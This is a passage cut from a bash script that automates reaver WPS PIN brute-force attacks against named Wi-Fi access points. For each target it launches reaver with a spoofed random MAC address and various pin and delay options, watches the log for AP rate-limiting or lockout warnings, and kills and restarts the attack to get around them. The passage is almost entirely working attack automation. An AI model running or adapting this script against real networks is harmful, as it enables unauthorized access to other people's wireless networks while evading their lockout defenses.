REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R39 == n || $USE_R39 == N ]] && [[ $USE_LONG39 == y || $USE_LONG39 == Y ]] && [[ $USE_PIN39 == y || $USE_PIN39 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN39 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R39 == y || $USE_R39 == Y ]] && [[ $USE_LONG39 == y || $USE_LONG39 == Y ]] && [[ $USE_PIN39 == y || $USE_PIN39 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX39" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY39"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -r $RX39:$RY39 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN39 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE39 == n ] || [ $KEEP_FILE39 == N ]; then

          rm VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R40 == n || $USE_R40 == N ]] && [[ $USE_LONG40 == n || $USE_LONG40 == N ]] && [[ $USE_PIN40 == n || $USE_PIN40 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R40 == y || $USE_R40 == Y ]] && [[ $USE_LONG40 == n || $USE_LONG40 == N ]] && [[ $USE_PIN40 == n || $USE_PIN40 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX40" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY40"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -vv -x 60 -r $RX40:$RY40 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R40 == n || $USE_R40 == N ]] && [[ $USE_LONG40 == y || $USE_LONG40 == Y ]] && [[ $USE_PIN40 == n || $USE_PIN40 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

